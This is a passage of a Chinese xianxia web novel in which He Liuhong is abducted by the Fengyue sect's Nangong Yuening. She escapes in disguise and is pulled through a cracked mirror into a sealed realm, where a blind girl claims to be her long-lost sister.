她再去接触,绿珠子的妖气更浓郁了。 回想这段时间,这股诡异的气息确实是伴随着她一次次突破境界而逐渐明显。 妖丹再强大下去,她担心有一天自己好不容易修炼出的金丹会被吞噬掉,之后她会变成什么样就不好说了。 看来在找到解决办法之前,她不能修炼得太快。 可是即便她不主动修炼,回了天玄宗,和小师叔神交照样能让她的修为被动提升,境界突破如同喝水一样简单。 宁逢来找她的时候,她匆匆忙忙换了件衣服,装作刚睡醒的样子。 医仙谷人数众多。但是师徒加起来不到十人,其余都是收养来的孤儿。 宁逢边走边跟她介绍说那些孤儿都不能修行,还有大大小小的残缺,只能帮着干点杂活。 “就算不帮忙干活也没问题,他们的寿命只有几十年,很短暂的,在医仙谷安稳度过一生就好。” 贺流虹说道:“他们好幸运,能遇见你师父这样善良的人。” 宁逢有些骄傲地昂着下巴:“光是善良可不行,还得像我师父一样有本事,这样才能护得住他们。” 贺流虹暗暗地想,如果她的秘密被谷主发现,不知道谷主能不能也对她善良一点。 两人已经绕了谷地一大圈,最后停在一道狭小的路口前边。 宁逢叉着腰眉飞色舞地说道:“这就是出谷的一条小路啦,师父不让我们出去的时候,我们就会从这里偷溜出去。” 贺流虹的心蠢蠢欲动。 留在医仙谷不是长久之计,谷主就算疼爱徒弟,不想让徒弟跟着她一起去“坐牢”,但天玄宗也不会放着她不管的。 等再次被关进神月峰,就要继续过上随时担心被发现妖丹的日子。 宁逢见她两眼发直,了然一笑:“嘿嘿你是不是也想偷溜出去?” 贺流虹心虚地干笑几声,反问她:“你难道不想吗,你和我一样,都被关那么久了。” 宁逢心动地搓搓手,很快就冷静下来:“还不是时候,师父在闭关,我得留在谷里看家。” 贺流虹遗憾道:“希望回天玄宗之前能去外面玩一圈。” 宁逢搂着她肩膀,给她喂定心丸:“我也这么想,所以我一定帮你完成这个心愿。” 贺流虹反搂住她肩膀:“一定!” 两人勾肩搭背往回走,贺流虹一副闲聊的语气,找她打听谷里的更多信息,比如除了那条小路还有没有别的出口,谷里最能打的人到底是谁,出了谷外面环境怎么样有没有危险。 宁逢说着说着,话题就绕回师父身上,感叹道:“师父也不知道怎么回事,为什么就非得帮天玄宗这个忙,她老人家向来都只救真正需要救的,你说说,你小师叔只是不能飞升而已,又不会死。” 贺流虹满脑子都是怎么趁谷主闭关期间偷偷跑路,得到宁逢这个医仙谷大师姐信任至关重要。 宁逢不管说什么,她都举双手赞同:“就是就是。” 宁逢:“我们医仙谷虽然只建立了几百年,比不上大门大派根基深厚,但是师父妙手仁心,救人无数,多少大修欠了她的因果,她要是拒绝帮天玄宗这个忙,天玄宗难不成还敢动她?” 贺流虹:“就是就是!” 宁逢:“不过师父每隔段时间都要闭关,每次出关脸色怪差的,我有点担心她的身体是否抱恙,可是她不肯说。唉,都怪我太没出息,帮不上她的忙。” 贺流虹:“就是就是。” 宁逢:“……果然,你也觉得我无能。” 贺流虹回过神来,“不是不是,我的意思是,如果我是你,我也会自责。” 宁逢握了握拳,道:“所以我会认真钻研医术,不能拖师父和医仙谷的后腿。” 说到这里,她又情不自禁赞美起自己的好师父,“我师父可太厉害了,又善良,医术又好,只要有找到谷里求医的可怜人,她不计回报也会把人治好。” 话刚说完,就有一个瞎了一只眼睛的小孩跑过来,道:“阿逢姐姐,又有人来找奶奶求医了。” 宁逢摸了下她的小脑瓜,熟练地摸出一颗糖递过去:“告诉人家师父在闭关,我马上就到。” 一道清丽婉转 的女声悠扬传来:“不用那么麻烦,我这不是自己就找到人了嘛。” 贺流虹抬眼望去,只觉得那身影很眼熟,然而那张脸却是陌生的。 来人刚好也在打量着她,对上她好奇的眼神,冲她妩媚一笑:“小妹妹,你也来这儿看病呀。” 贺流虹被这笑容晃花眼,感觉有点被魅惑到了,脑子晕晕乎乎的,扭过头恍恍惚惚地问宁逢:“啊?我有什么病?” 宁逢皱皱眉头:“原来是风月宗的道友,不知道擅闯医仙谷,到底所为何事。” 那年轻风流的女子笑道:“当然是来求医了。” 宁逢抓住贺流虹,阻止她往对面的女子身边跑,有些不悦地说:“这般戏弄我的朋友,哪里像是要来求人帮忙的样子。” 女子伸出一根修长白净食指,冲贺流虹勾了勾:“可是,我要找的人就是这位小妹妹,我的忙只有她帮得上。” 第35章 第35章这谁啊? 贺流虹中了风月宗最擅长的魅惑之术,恢复意识时,人已经到了对面女子手上,宁逢等人躺了一片。 女子轻蔑一笑:“天玄宗也不怎么样嘛,只派几个金丹过来保护你。” 贺流虹听不得这种连金丹也瞧不上的语气,忍不住反驳:“金丹还不行吗,一共才几个元婴啊?” 再说了,元婴以上的大修一出动,那动静得多大啊?生怕别人不知道天玄宗又出大事了? 女子挑眉,似笑非笑打量她,问:“贺流虹,你怎么一点都不害怕?” 贺流虹垂死挣扎了一下,装着糊涂问道:“这位姐姐,你是不是认错人了,我是来医仙谷找朋友的,不是你说的什么贺流虹。” “你当我是傻子?” 女子说着,便用了张遁走符,将贺流虹一起带走。 贺流虹一眨眼,人已经到了风月宗熟悉的大门口。 女子进出时,守门弟子恭敬地向她问好:“南宫师姐!” 贺流虹抬眼一瞧,女子恢复了本来面容,是有过一面之缘的南宫月宁。 她转身就想逃。 南宫月宁在她身上贴了张符,她就像个傀儡娃娃一样任由对方摆弄,被牵着手腕,进了间屋子。 屋子里香风阵阵,陈设精美。 她刚被揭开身上的符篆,就开了口:“原来是南宫前辈,久仰久仰。只是为什么带我带你的闺房,我真的不是使用幻形符的变态男修,我也是女的,双修不行的。” “谁要跟你双修,不要脸。” “纯粹的肉.体关系也是不行的,虽然你很漂亮,但是我不喜欢女……” “住嘴吧你。” 南宫月宁翻了个白眼,把那张符重新给她贴上去,屋子里清静多了。 贺流虹动不了,也张不开嘴,乌溜溜的眼珠子急得不停地转。 南宫月宁坐在一张摇椅上面翘着二郎腿,端了杯茶慢悠悠喝了一口,酸溜溜道:“我是没想到,让你给捡着便宜了,怎么样,第一美人的滋味,妙得很吧。” 贺流虹:“……” 妙是挺妙,就是不能尽兴,玩得太过了容易生气。 南宫月宁抱着胳膊,扫了她一眼,又道:“我上次就看出来了,你是个善良大方的好孩子。” 贺流虹:“……” 怎么还给她夸上了?后面应该还有个“但是”吧。 南宫月宁:“但是,吃独食可不是好孩子该干的事,你看你这都消化不了,把自己弄到医仙谷急救去了。” 贺流虹:“……” 是这样吗?听起来还怪有道理的呢。 南宫月宁站起身来,朝她走过来,笑得满脸温柔:“这样吧,你帮姐姐一个忙,事成之后你想要什么,姐姐一定帮你搞到手。” 贺流虹:“……” 南宫月宁:“你替我把琼华真人骗出来,把他灌醉,我的境界停在元婴很久了,急需这样看着养眼用着又放心的男修助我更进一步。” 贺流虹:“……” 南宫月宁:“当然了,我会装作是偶遇,不会让你暴露的。” 贺流虹:“……” 南宫月宁观察了一下她的脸色,道:“你要是同意,就多眨几下眼睛。” 贺流虹的眼睛使劲眨呀眨。 南宫月宁终于把她身上那张符摘掉。 她义正辞严道:“此番行事与邪修何异!我是不会背叛师门的!” 南宫月宁被吓一大跳:“不同意就不同意,你吼那么大声做什么!” 贺流虹怕她又把那张符贴上来,干笑两声:“不好意思,一时激动,姐姐你继续说,我们好好交流。” 南宫月宁被她还算配合的态度哄好了,熄了火气,一本正经继续说道:“你也别太担心背叛师门的事暴露,就算真的暴露,加入我们风月宗就是了,风月宗弟子只要不欺师灭祖,平时想做什么做什么,不像你们天玄宗一堆规矩。而且,最重要的是,我师父是风月宗宗主,你不可能没听过他老人家的名字,顺手护一护你,没什么问题的。” 贺流虹上次来风月宗,听了不少关于这个宗门的八卦,这是个在仙门当中宛如一朵奇葩的宗门,包容度和接受度都很高,曾经妖族和仙门关系没那么紧张时,风月宗连妖族拜师都照收不误。 这伙人大奸大恶的事倒是不怎么干,但与外人结下无数恩怨情仇。 要不是后来宗主在封印万年大妖时立了大功,风月宗只怕早就被仙门除名,沦为一伙不被正道接纳的邪修组织。 南宫月宁怕她不信,接着说道:“那个镇妖塔你知道吧,最底下一层封印的上古万年大妖,就是我师父亲手关进去的,整个修真界都做不到的事,只有我师父能做得到。” 贺流虹依然是不太信任的样子,“可是那只大妖前不久不是差点逃了吗,贵宗宗主是不是当年封印它的时候不慎手滑啊。” 南宫月宁瞪着她,愤懑地替自己的师父辩解道:“大妖出逃跟我师父当年的封印可没关系,你难道不知道嘛,那是镇妖塔本身出了问题。” 贺流虹“哦”了一声,不以为然的样子让南宫月宁如鲠在喉,“我对比了一下,你师父只是封印了大妖而已,我小师叔可是直接把大妖给干掉了,这说明还是天玄宗比较厉害吧。” 南宫月宁咬牙切齿:“你这是什么态度,我说我师父能护你,还能骗你?你就说你到底干不干,干的话这就把你小师叔喊出来,不干我就把你关到愿意干为止。” 她自以为看穿这个天真的小弟子的软肋,得意一笑:“总之天塌了你都不可能再回到你那亲爱的师门了。” 贺流虹心想那真是太好了,就是不知道风月宗现在还愿不愿意接收妖族。 不过风月宗位置偏僻,与最近的名门大派都隔着很远的距离,宗门上下都没什么秩序,在风月宗暴露秘密显然比回天玄宗受到的威胁低。 所以她打算先在风月宗“借住”一段时间,同时希望天玄宗打过来的时候,风月宗那位传闻中的宗主真的能够抵挡得住。 她露出慷慨赴义的神色,昂首挺胸,恐惧中带着一丝骄傲,大声说道:“那你就把我关在风月宗一辈子吧!我就是一辈子再也回不去师门,也不会背叛我最亲爱的小师叔的!我才不是那种没良心的人!” 南宫月宁堵住了耳朵,等她激情发言完毕,冷笑一声:“敬酒不吃吃罚酒,你个小东西,你给我等着。” 贺流虹瞧着她说话时凶狠残酷的神情,慌了一下。 她正想说“咱们还能再商量商量”,南宫月宁抽出鞭子狠狠甩向地面。 贺流虹当场就想跑,又被鞭子卷回来,扔到那只摇椅上,随后被五花大绑在上面。 紧接着,那条鞭子离开她,从床底下拖出来一个五花大绑的青年男修,无情地扔在她眼前。 “本来我也不想把事情做得太绝,但是你是块硬骨头,我只好下点狠功夫,给你点厉害瞧瞧。” 南宫月宁恶狠狠说着,一鞭子就朝那男修甩过去。 男修发出一声痛呼,大喊:“南宫月宁你好狠的心,你这个负心女!” 贺流虹在摇椅上挣扎了半天,头被摇得有点晕,恍惚间只觉得这句话好熟悉,用力拧紧眉头,想要思考这一切到底是怎么发生的。 好端端的为什么忽然从床底下冒出来一个人,不是说要给她点厉害瞧瞧吗,怎么又跑去甩别人鞭子 了。 她的眉头越皱越紧。 南宫月宁满意地笑道:“贺流虹,这下急了吧,还不同意的话,我就把他扒光了衣服接着打。” 贺流虹扭头望向地面上被捆得像只蚕的男修,露出了更加费解的眼神。 这谁啊? 俊秀的男修朝贺流虹看过来,眼里写满愧疚和窘迫:“贺师妹,是我。别管我,你千万不要答应她的要求。” 南宫月宁冷笑一声:“她能冒死来风月宗大门口帮你骂我,可见对你十分关心,你猜我再抽你几鞭子,她会不会立即松口。” 第36章 第36章躁动 贺流虹被这么一提醒,明白了那人身份。 这实在是个不妙的误会。 好歹是个大方的财主,给她打钱的时候毫不含糊,就凭这份情谊,她也必须要把这位师兄从鞭子底下救出来。 她望向地面上的不知名师兄,相当急迫地说道:“南宫前辈你快住手,你误会了,我们一点也不熟。你就是把他打死我也不会同意的。” 南宫月宁哼了一声:“你以为装作不在意,我就会放了他吗?我早已看穿你的小伎俩。” 贺流虹惨然一笑:“既然前辈这样想,那晚辈百口莫辩。” 南宫月宁见她连辩都不肯辩,一副放弃挣扎铮铮铁骨的姿态,一气之下,鞭子抽的更狠。 杜小舟一开始还会躲,之后也一副哀莫大于心死的样子,凄然地望着昔日的爱侣:“南宫月宁,你到底还要骗我多少次,你说过只是找贺师妹好好认识一下,交个朋友的,并不会利用她做什么。你骗我,你又骗我!” 南宫月宁笑道:“谁让你这么好骗,这怪我咯?随便说几句好话就直接把神月峰的事都告诉了我,紫来真人有你这样的徒弟,真是一件幸事。” 她的眼神逐渐贪婪,理直气壮地说道:“再说了,我是为了修炼,为了早日飞升,飞升的事,怎么能算是骗。” 贺流虹总算知道是谁暴露了自己的行踪,天玄宗内部果然出现了叛徒。 但是托这位叛徒师兄的福,她不必再立刻回到天玄宗了。 她露出了悲痛欲绝的神色,道:“原来你是杜小舟杜师兄,杜师兄,对不住了,同门一场,我也很想救你,但天玄宗对我恩重如山,我也不能背叛师门,背叛小师叔啊。” 杜小舟歉疚而感动:“我愚蠢地轻信他人蛊惑,将你的踪迹暴露,本就是师门的罪人,不值得你也背叛师门来救。” 贺流虹道:“前辈你看,别白费力气了,我是不会替你做那种事的。” 南宫月宁愤愤地瞪了二人一眼,手上的鞭子再抽下去也是白费力气,一气之下将两人扔出去关押起来,威胁道:“什么时候想通了,我就什么时候放你出来。” 风月宗的混乱无序体现在方方面面,整个宗门没有一个专门用来关人的牢房。 两个尊称南宫月宁为师叔的小弟子忙活半天,收拾出一个偏僻破旧的屋子,把贺流虹和杜小舟一起关了进去。 人一走,贺流虹就放松下来,她身上还绑着绳子,在屋子里不紧不慢地到处蹦来蹦去,遇到窗户,顺便还要用脑袋顶开,瞧瞧窗外景色怎么样。 最后得出结论:这地方好啊。 又没有风月宗的人打扰,还不会被天玄宗的人找过来,实在是太适合她躲一阵了。 杜小舟看傻眼了,师父说这贺师妹忠诚本分勤奋刻苦,可是都身处囹圄了还这么不慌不忙,怎么瞧着不太聪明的样子。 贺流虹一回头就发现他在担心地看着自己,佯装哀愁:“哎呀,这下可如何是好,我们不会要一直被关在这里出不去了吧。” 杜小舟面对她时十分内疚,道:“贺师妹,都是我害了你,你尽管放心,我对风月宗的地形很熟悉,会想办法带你出去。” 贺流虹蹦过去小声问:“杜师兄,难道你有什么逃出去的办法了?” 杜小舟道:“南宫月宁封住我的经脉,我需要三天时间来强行冲破封印,到时候带着师妹杀出一条血路,重返天玄宗。” 贺流虹流露出担心的眼神:“强行冲破封印会受伤吧,真的能逃出去吗?” “受伤算什么,这是我欠你和天玄宗的,就是拼了这条命也要把你送回神月峰。” 贺流虹被他最后一句话吓死,关切地劝说道:“不必如此拼命,活着最重要。” 杜小舟不接受她的劝说,已经兀自坐下来,尝试冲破经脉上的封印。 贺流虹从贴身的芥子袋中摸出一把刀,把自己身上的绳子割开,又仔细检查了一下身家财产,什么都没少。 幸亏她惜财如命,值钱的宝贝都装进芥子袋贴身藏着,刚才搜身时没被夺走。 她瞄了一眼杜小舟,跟着对方一起逃出去,再过河拆桥,感觉也挺省力。 但是杜小舟是掌门的亲传,搞不好会有什么特别的联系方式,一出去就能把天玄宗的援兵喊过来。 怎么偏偏就多关了个掌门的徒弟进来,害得她逃也不是,不逃也不是。 过了一天一夜,有人在外面说话,语气有些熟悉:“把门打开,我这样的容貌气质,你认不出我是谁吗?我师父是南宫月宁,我奉师命来问话。” 过了片刻,门被人从外面推开,一道绰约风流的身影背着光缓缓进入屋内,一边走,一边幸灾乐祸地笑:“哟,你也有今天。” 贺流虹被那阵光刺得眼瞎,根本看不清来人的脸,只好抬手挡住。 来人又是得意一笑:“我果然是艳光逼人,令你不敢直视。” 贺流虹一边保护眼睛,一边求他:“你能把你后背贴着的那张发光符摘了吗,就没见过这种用法。” 对面的脚步一顿,“嘁”了一声,扯掉了自带发光特效的符篆。 屋子里的光线顿时正常多了。 贺流虹终于能好好辨认对方的脸,原来是那位引诱她失败后污蔑她男扮女装的风月宗男修。 “咦,你今日看起来有些不同。” 她评价道,“怎么手上多了这么多串木头珠子。” 男修白了她一眼:“什么木头珠子,这是佛珠。” 贺流虹道:“哦,最近佛子好像确实比较吃香,你换风格了。” 再仔细一看,琼华真人的同款泪痣果然也没了,时尚界的风向总是变得很快。 男修不满地阻止她胡说八道,“别扯些有的没的,知不知道我今天来找你是要干什么?” 贺流虹将人暴揍过两次,这个问题一问出来,她就知道事情不妙。 她装傻充愣,礼貌地笑道:“我还不知道你的名字,我们之间有很多误会,确实需要正式地重新认识一下。” “你、你、你还不知道我的名字!?” 男修看上去天快塌了,深受打击地垂下脑袋,“我这副容貌,在风月宗少说也能排进前五,我师父还是南宫月宁,风月宗代理宗主,你知道我是她徒弟,你却从没想过打听一下我的名字?” 贺流虹心想,一般只有被打的人去打听打人者的名字。谁打完人还去琢磨手下败将叫什么,没那个闲工夫。 她眨着一双又黑又亮的眼睛,无辜地说道:“那你到底肯不肯告诉我名字?” 又叹了口气,做遗憾状:“像你这样的美人,风月宗数一数二,放眼整个修真界,至少排名前三,应该不屑于告诉我名字吧。” 风染的嘴角控制不住地往上翘,想起前仇旧恨,又忍了下去。 “前三就算了。”他摆了摆手,“也就前五吧。你记好了,我叫风染,清风拂面的风,层林尽染的染。” 贺流虹鼓掌赞叹:“好名字,跟人一样美。” 风染的嘴角又翘起来,这回没再成功压下去,只得背过身去,管理了一下表情。 贺流虹一闷棍敲了上去。 风月宗第一美人再次应声倒地。 守在门外的弟子描着眉毛描到一半,听到屋子里 面动静不太对,收好护肤美容工具套装,准备去瞧一眼。 刚一回头,脖子一僵,人也跟着晕了。 贺流虹一连击倒两人,摸出易容丹,先喂一颗给自己,再喂一颗给风染,两人的外表顿时调转过来。 再回头一瞧,杜小舟仍然在入定,眼看着要被身边这些动静吵醒。 她拔腿就跑了出去。 风月宗人多眼杂,关押她的地方很是偏僻,她虽然改换成风染的样子,但也应付不了太多盘查,一路循着最僻静的路线摸索而去。 在一片片建筑和一片片高山之间,贺流虹自然而然选择往山脚边走。 风月宗的后山通往宗门之外,她的心有些雀跃,仿佛已经看到了逃出生天的希望。 随着步入后山越深,一股若隐若现的灵压逐渐笼罩下来。 贺流虹担心遇到隐居在此的大修,放缓脚步,绕路远行。 那股灵压时远时近,叫人分辨不清从哪个方向来。 她绕来绕去,来到一间林中小屋前。 屋子看上去有些年头,门敞开着,屋顶上的草被掀掉了一半,墙上也出现好几道裂纹。 贺流虹有点好奇,但不想多事,于是照旧选择绕路。 经过茅屋门口,丹府熟悉的疼痛感传来,那颗珠子变得从未有过地活跃,似乎下一秒就要撕碎她,从她的丹府出来。 她跌倒在屋门前,急忙静坐调息,催动全身灵力去压制这颗躁动不安的珠子。 因为不是第一次经历这样的意外,她不必再硬生生把自己痛晕过去,而是在失去意识之前安抚和压制住对方。 睁开眼,天已经全黑了。 她疲倦不堪,靠在门框上休息,压制那颗珠子几乎用掉她所有灵力,经脉又开始隐隐作痛。 身后的屋子里空荡荡的,借着月色,隐约瞧见桌椅床上都积着一层厚厚的灰尘。 一个亮晶晶的东西反射着清冷的月光。 贺流虹揉了下眼,看清那是一面铜镜,镜面满是裂纹,将她的脸分割成破碎不堪的很多块。 丹府内的东西又躁动起来。 她伸出手,想要拭去镜子上的灰尘看清它的细节,刚触碰上裂纹,一股巨大的力量将猛地拉扯进去。 疲惫惊惶同时席卷而来,贺流虹踉踉跄跄勉强站稳脚步,眼前一阵阵发花,好不容易才恢复了视觉。 只见四周青山如画,小桥流水,花香鸟语,如同一个从未沾染过俗世气息的世外桃源。 第37章 第37章姐姐 贺流虹从桥上走过,水面倒影出她原本的模样。 易容丹竟然失效了。 好在这里没有其他人,她放心地继续往前,进了一片竹林。 空气中连一丝尘埃也感受不到,纯净得宛如一片仙境。只是走了半天,没有见到任何人类生活过的痕迹。 担心迷路,她在竹子上刻下记号,然而记号刚刻上去,转瞬就消失不见,竹子的外表又恢复得光滑如初。 一连尝试数次,次次如此。 她砍了根树枝,还没在手上拿稳,同样消失不见,被砍断的枝头又恢复原样。 诡异的情景让贺流虹的手背起了层鸡皮疙瘩,她加快脚步穿过竹林。 又到了一片山丘。 外头依然出现和竹林中一样的情况,任何遭到改变的物体都会转瞬恢复如初。 原本以为镜子里藏着一块洞天福地,没想到处处透着不对劲。 她现在迫切地想到离开这里。 可是灵力无法在这里使用,芥子袋都打不开,更别说使用法宝。 她费力地攀爬到山丘的最顶端,愣住了。 前方是一堵空气墙,堵住了她继续探索的路。 墙是透明的,墙后雾气缭绕,看不清任何东西。 贺流虹只得改变方向,沿着墙脚一路走下去,试图找到一个缺口。 最后发现挡住她的不是空气墙,而是一个巨大而透明的罩子,从头顶将这世外桃源笼罩其中,她能活动的区域就只有透明罩子下面的这一片。 意识到这个事实,顿时觉得这燕语莺啼花光柳影显得没那么迷人了。 再如诗如画的风景,不过是用来掩饰此处是又一个牢笼的事实。 她紧张起来,害怕自己又被困住。 想到外面那间很突兀地伫立在山林的草房子,以及那面铜镜布满灰尘和裂纹的样子,她忍不住怀疑自己撞上某种邪祟之物。 “有人在吗?” 她喊了几声,想了想又紧紧闭上嘴,唯恐惊动这个怪异的地方藏着的某种未知危险。 这里范围并不大,没过一会儿,所有的地方都被她搜寻了一遍。 在河流上游,一间精巧的木屋吸引了贺流虹的注意。 木屋中飘出清脆婉转的歌声,是个小女孩在里面。 但是女孩唱出来的没有一句完整的调子,也没有连贯的一整句歌词,上一句还在唱着前不久流行在市井的民谣,下一句可能就成了凡间界王公贵族的宫廷乐曲。 贺流虹听了半天,越听越糊涂,在这个不对劲的地方,找到的唯一一个人类,看起来也有点不对劲。 但那声音稚嫩可爱,有种还没沾染过任何尘俗的天真感,让她平白无故生出好感,无意间缓解了她的惶惑不安。 她悄悄靠近了那间屋子,从虚掩着的门缝望见一个身形清瘦的少女。 少女的侧脸在墙上映出完美的轮廓,头发没有任何饰物,温顺地披散下来,丝绸一样反射着漂亮的光泽,乌黑浓厚,散发着属于少年人的勃勃生机。 在这间陈设简单而整洁的小屋子里,最惹人注目的是少女手边的画笔,以及一幅幅被风吹开散落在各处的画作。 每一张纸上的画面都是那么技艺高超而……银乱。 贺流虹发挥自己绝佳的视力定睛一瞧,不仅银乱,还很眼熟。 这不是外面正遭到疯抢的佛子和仙尊吗? 贺流虹出于错愕,半天没有再往前。 但是屋子里的女孩像是有所感应一般,放下手中画到一半的裸.男,回过头来,望向门外,惊喜道:“姐姐?是你回来了吗?” 那双眼睛形状同样也很漂亮,但是无法聚焦,漆黑的眸子里一片空洞,分明是个盲人。 贺流虹屏住呼吸,站在原地没动。 一个盲人画了一堆裸.男,镜子里这片空间因此显得更诡异了。 她想要拔腿就跑,女孩像一阵风似的跑出来,扑进她怀里将她紧紧抱住:“姐姐,我就知道是你,你终于回来了!” 贺流虹浑身僵硬,戒备地紧盯着对方的每一个细微的动作。 没有突然张开的血盆大口将她脖子咬断,也没有突然多出来的尾巴耳朵长指甲之类的东西。 竟然真的只是一个过分热切的拥抱。 女孩看上去才十一二岁,个头还没完全长成,只到贺流虹的下巴,瘦削的身体在瑟瑟发抖,不知是因为激动,还是因为太冷。 贺流虹动了动手指,趁她不注意,摸摸她身上的衣服,布料单薄,但是很难撕坏。 于是她又偷偷摸出了一把匕首,对她比划了一下,飞快割断了她的一片衣角。 女孩看不见发生了什么,不解地问:“姐姐,你在做什么?” 话音还未落,衣服就已经和那些花草树木虫子小鸟一样,瞬间恢复原状。 贺流虹倒吸一口凉气,“没、没做什么,帮你整理一下衣服” 这小女孩……该不会也不是个人吧? 可是她感应不到对方身上任何异样的气息,怎么看也是个如假包换的人类。 女孩听见她猛地吸气,连忙将她放开,问:“我是不是抱得太紧,把你勒到了。” 贺流虹强作镇定,摇了摇头:“没有没有。” 她又问:“我能割一缕你的头发吗?” 女孩虽困惑,但还是眨着天真的眼睛点了点头。 贺流虹挑了一缕发质极好的发丝,用匕首轻轻割断发尾,然后好奇地盯着。 等了好一会儿,那缕头发仍然是被割断发尾后参差不齐的样子。 “它、它怎么还没长回来?” 女孩摸了摸被她割成狗啃似的发尾,笑弯了眼睛,道:“姐姐,你是不是忘了,头发不能像树上的叶子一样,断掉了就能立刻长回来的。” 贺流虹的身上又起鸡皮疙瘩了。 有没有一种可能,在正常情况下,树上的叶子掉了,也是不能立刻长回来的。 她到底掉进什么地方来了? “姐姐,你怎么不说话了,你还没告诉我外面好不好玩呢,你说过会带我一起出去的。” 贺流虹再次反复观察眼前这个不对劲的少女,仗着对方看不见,眼神就没离开过。 她依旧没有从对方身上感受到任何恶意。对方可能真的将她误认为久未归家的姐姐了。 她好奇地问:“你说我是你姐姐,你又看不见,是怎么认出来的呢。” 对方好像听到了什么荒唐的问题,蹙了下眉,有点难过:“姐姐,你为什么不肯和我相认?我们一直在一起,从未分开过半天,我怎么会认不出是姐姐你回来了呢。” “那你知不知道我的名字,你又叫什么名字。” “你的名字是贺流虹,还给我也取了名字叫霓,你说过,我喊你姐姐,所以我也可以和你一样姓贺。” 贺流虹狐疑地盯着她:“贺霓?” “贺小霓。” 贺小霓似乎非常满意这个由姐姐取的名字,笑嘻嘻地加重语气纠正她的喊法。 贺流虹有些恍惚,也就是说,在她不知道的时候,她有了个一起长大的妹妹,还给妹妹取了个名字。 难道原身和她一样,刚好也叫贺流虹,在她没穿越过来之前,原身一直和自己的妹妹待在这个地方生活? 可是她穿越过来时,原身明明是个凡间界的小叫花子,要起饭来非常熟练。 贺小霓见她又不说话了,委屈道:“姐姐你还是不肯和我相认吗?你都丢下我走了快八年了,这八年我每天都在想你,为你画了很多幅画。” 贺流虹想到屋子里那些飘得满地都是的涩图,心下一惊,心想你最好画的是穿衣服的我。 她有些提心吊胆地说:“那让我看看你为我画的画。” 贺小霓兴冲冲拉着她进屋,搬出来一个大箱子,打开一瞧,满满当当都画的是同一个人。 每一页都是贺流虹,而且是十二三岁之前的贺流虹。 贺小霓一边把那些画往外搬,一边向往地开口:“八年了,不知道姐姐你现在的样子有没有变化,好想亲眼看一看。” 贺流虹看画像的时候,女孩就在一旁自言自语,“阿爹阿娘也很久都没来看我们了,不过反正我也不喜欢阿爹阿娘。” “你说阿爹阿娘不是好人,以前我还不信,现在我信了,这么多年都不来看我们,他们根本不爱我们。” 贺流虹翻着那些和自己十二三岁时一模一样的人像,翻着翻着就又感觉哪里不对:“八年,八年前你最多才三岁吧!爹娘也不养,你是怎么活下来的?” 三岁的孩子画出这些神形俱妙的画作,还有可能说一声天才,但是听对方话里念叨的意思,她这个姐姐一走,连爹娘都没来管过。 一个几岁小孩,还是个瞎的,是怎么一边照顾自己一边画下一本又一本涩图并在畅销修真界的? 贺小霓仿佛又听见了很荒唐的问题,坐在小画板边上,手指头绕着头发,眨着眼睛一脸单纯地反问:“为什么要爹娘养才能活下来呀?阿爹阿娘不是已经几百年都没来管过我们了吗?” 贺流虹惊坐而起:“啊?几百年?” 她一共才从掌门和小师叔那里赚到四百年寿命。 几百年,都够她躺进棺材里了,这个“小女孩”轻飘飘就是“几百年”? 贺小霓一副理所当然的语气:“对呀,几百年,可能有四五百年吧,或者五六百年?我记不清了。” 贺流虹按住胸口让自己冷静,不管怎么说,这个最少几百岁的少女是她能找到的唯一活人,想要离开,只能从这里找机会。 她问:“你嘴里说的‘阿爹阿娘’是什么人,你知道姐姐的名字,应该也会知道阿爹阿娘的名字吧?” 贺小霓为难地绞着手指,“阿爹阿娘以前还过来看我们的时候,都很少和我们说话的,姐姐问过他们,但是没有问出来。” 贺流虹回想风月宗到底有什么人能干出这种事,可是几百年前的风月宗她也不熟啊。 她又问:“那你总知道阿爹阿娘长什么样吧?” 贺小霓努力回忆:“我也记不清了,几百年了,那个时候姐姐还没教会我说话呢,我只记得阿爹是个长头发的美人,阿娘……阿娘也是个长头发的美人,不过姐姐说我审美不行,她说阿爹也就那样吧。” 贺流虹一番打探,一无所获。 她望着对方的眼睛:“听你的意思,你的眼睛从前是能看见的,为什么又会失明?” 女孩又露出了迷茫不解的神情,抬头望向窗外,仿佛陷入回忆:“我也不知道为什么会这样,姐姐离开的时候,天忽然像是破了一个大洞,我看见了好多奇怪的人和东西,那个洞口消失之后,我的眼睛也就坏了。” 贺流虹也往外看,天空一碧如洗,她却只看见迷雾重重。 第38章 第38章又冷又硬的石头 她又去看女孩的脸。 失去视力本该让人感到不幸,但女孩的脸上一片平静。 “姐姐?”女孩又抓住她的衣角,亲亲热热地开口,“你这次可以带我一起出去了吗?我还没有见过你说的大海、沙漠、流星雨、小狗、猫猫还有长颈鹿……” 贺流虹反问她:“几百年了,你从来没有出去过?” “没有,我不知道怎么出去。” “那有人进来过吗?” “除了阿爹和阿娘,这里一直只有姐姐和我两个人。” 贺流虹望着那张脸上不似作假的天真神情,思来想去,还是觉得对方没说实话。 屋子里散落一地的涩图就是证据。 一个被困在这里几百年的人,自己出不去,别人进不来,又怎么会出现这种东西。 “姐姐,你怎么又不说话了?” 贺流虹眉头紧锁,担心这是一个陷阱,不肯在屋子里久待,推开对方疾步往门外走,边走边骂骂咧咧:“别喊我姐姐,你肯定没说实话,我怎么可能会有一个活了几百年的妹妹。” 贺小霓急急忙忙地追上来,慌乱中撞到桌角,痛呼了一声,然后可怜巴巴地哭了起来:“姐姐,你别再丢下我了,我说的都是实话,你怎么什么都不记得了。” 贺流虹确实什么都不记得,她只在这个陌生的世界待了不到七年,她没有继承原身的任何记忆。 就算女孩说的都是实话,那也是原身的经历,和她没有关系。 她有些懊恼,在木屋外面的草丛里踩来踩去,要是她能继承原身的记忆,现在就不至于被困在这个奇怪的地方,找了好几圈都没找到出口。 难不成要和这个贺小霓继续困在这里几百年? 贺小霓哭了几声,听见她没走远,自己爬起来,又凑过来,小心翼翼抓住她一根手指,轻轻晃了晃:“姐姐,你是不是踩到小明了?” 贺流虹:“啊?谁是小明?” 她挪开脚,一只蚂蚱从脚底下慌慌张张蹦走了。 贺小霓竖着耳朵听蚂蚱蹦到 草丛里的窸窣声响,道:“小明每次都这样不看路,不小心就会踩到。” 贺流虹欲言又止地看着她,“你给一只虫子取名字?” “它们都有名字。这是呱呱,这是小笨,这是阿花……” 少女蹲在树下一个一个摸过去。 几百年了,这片天空下的风景是永恒不变的,每棵草每朵花每只虫子都不曾改变分毫,都被她认熟了。 眼睛也就成了这片天空下最不需要的东西,就算什么也看不见,也能清楚地知道,每一块石头,每一片树叶,每一只鸟会出现在什么位置。 “它们都很好,永远不会离开我,陪了我和姐姐几百年,就算不小心踩到,也不会死掉。” 